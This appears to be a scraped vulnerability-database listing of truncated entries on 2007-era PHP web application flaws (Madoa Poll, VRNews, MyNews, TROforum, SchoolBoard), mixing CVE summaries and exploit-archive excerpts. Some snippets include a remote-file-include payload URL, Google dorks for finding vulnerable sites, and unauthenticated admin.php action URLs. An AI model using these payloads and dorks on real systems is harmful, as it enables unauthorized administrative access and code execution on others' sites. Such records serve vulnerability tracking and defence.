Madoa Poll v1.1 Remote File Include Vulnerabilities

Madoa Poll v1.1 Remote File Include Vulnerabilities ilker kandemir ilkerkandemiratmynet.com info: / Her$ey Vatan icin / Download: http://www.finnermark.se/madoa/Madoapoll11.zip TnX.: Ajann, Dumenci, H0tTurk, Str0ke Bug: require $Madoa . "config.php"; Exploit: index.php?Madoa=http://sheel.txt?...

CVE-2007-3611

admin.php in VRNews 1.1.1, and possibly other 1.x versions, does not require authentication, which allows remote attackers to perform certain administrative actions via a direct request with a 1 edit, 2 add, 3 config, or 4 del value in the act parameter...

CVE-2007-3611

VRNews 1.1.1 (admin.php) is vulnerable to an unauthenticated remote administrative action due to a direct request parameter (act) that allows actions such as edit, add, config, or del. The root cause is lack of authentication for these actions, enabling attackers to perform administrative operati...

VRNews 1.1.1 (admin.php) Remote Permission Bypass Vulnerability

No description provided by source. VRNews v1.x = /VRNews/admin.php Permission Found by: R4M! - [email protected] Dork: intitle:"vrnews v1" Script: http://www.toocharger.com/fiches/scripts/vrnews/3632.htm Example: 1. /VRNews/admin.php?act=edit 2. /VRNews/admin.php?act=add 3. /VRNews/admin.php?act=confi...

VRNews 1.1.1 (admin.php) Remote Permission Bypass Vulnerability

Exploit for unknown platform in category web applications =============================================================== VRNews 1.1.1 admin.php Remote Permission Bypass Vulnerability =============================================================== VRNews v1.x = /VRNews/admin.php Permission Found...

VRNews 1.1.1 - admin.php Remote Security Bypass

VRNews 1.1.1 - admin.php Remote Security Bypass VRNews v1.x = /VRNews/admin.php Permission Found by: R4M! - [email protected] Dork: intitle:"vrnews v1" Script: http://www.toocharger.com/fiches/scripts/vrnews/3632.htm Example: 1. /VRNews/admin.php?act=edit 2. /VRNews/admin.php?act=add 3...

VRNews 1.1.1 - 'admin.php' Remote Security Bypass

VRNews v1.x = /VRNews/admin.php Permission Found by: R4M! - [email protected] Dork: intitle:"vrnews v1" Script: http://www.toocharger.com/fiches/scripts/vrnews/3632.htm Example: 1. /VRNews/admin.php?act=edit 2. /VRNews/admin.php?act=add 3. /VRNews/admin.php?act=config 4. /VRNews/admin.php?act=del...

Sql injection

SQL injection vulnerability in admin.php in MyNews 0.10, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the authacc cookie...

CVE-2007-2520

CVE-2007-2520 affects MyNews 0.10. SQL injection in admin.php via the authacc cookie when PHP magic_quotes_gpc is disabled. The vulnerability allows remote execution of arbitrary SQL commands and could lead to data exposure or modification; impact is described as partial confidentiality/integrity...

CVE-2007-2520

SQL injection vulnerability in admin.php in MyNews 0.10, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the authacc cookie...

MyNews version 0.10 SQL Injection Vulnerability

netVigilance Security Advisory 25 MyNews version 0.10 SQL Injection Vulnerability Description: MyNews is very easy to include into any website news publishing, just as simple as using the include tag and calling the function to display the news. BBCode has been added to this feature, so now you d...

Remote file inclusion

PHP remote file inclusion vulnerability in admin/admin.php in TROforum 0.1 allows remote attackers to execute arbitrary PHP code via a URL in the siteurl parameter...

CVE-2007-2937

TROforum 0.1 must vulnerable through admin/admin.php’s site_url parameter, enabling a remote file inclusion that allows arbitrary PHP code execution. Root cause: improper handling of external URLs in site_url. Severity: CVSS v2 base score 7.5 (HIGH). No remediation details are provided in the ava...

troforum01-rfi.txt

TROforum 0.1...

TROforum 0.1 (admin.php site_url) Remote File Inclusion Vulnerability

No description provided by source. TROforum 0.1 = Remote File Inclusion Vulnerability Dork:http://www.google.com.tr/search?hl=tr&q=%22TROforum+0.1%22&meta= Vuln Code ERROR1:admin/admin.php include "$siteurl/trofimov.php"; include "$siteurl/narod.php"; RFI...

TROforum 0.1 (admin.php site_url) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ===================================================================== TROforum 0.1 admin.php siteurl Remote File Inclusion Vulnerability ===================================================================== TROforum 0.1 = Remote File...

TROforum 0.1 - admin.php?site_url Remote File Inclusion

TROforum 0.1 - admin.php?siteurl Remote File Inclusion TROforum 0.1 = Remote File Inclusion Vulnerability Dork:http://www.google.com.tr/search?hl=tr&q=%22TROforum+0.1%22&meta= Vuln Code ERROR1:admin/admin.php include "$siteurl/trofimov.php"; include "$siteurl/narod.php"; RFI BUG1...

CVE-2007-2626

SQL injection vulnerability in admin.php in SchoolBoard allows remote attackers to execute arbitrary SQL commands via the 1 username and 2 password parameters. NOTE: CVE disputes this issue, because 'username' does not exist, and the password is not used in any queries...

CVE-2007-2626

CVE-2007-2626: SQL injection reported in the admin.php file of SchoolBoard, potentially via (1) username and (2) password parameters. The CVE description notes that the issue is disputed because the username parameter may not exist and the password is not used in any queries. Connected documents ...

PT-2007-3945 · Unknown · Schoolboard

Name of the Vulnerable Software and Affected Versions: SchoolBoard affected versions not specified Description: The issue concerns a SQL injection vulnerability in the admin.php file of SchoolBoard. This vulnerability potentially allows remote attackers to execute arbitrary SQL commands. However,...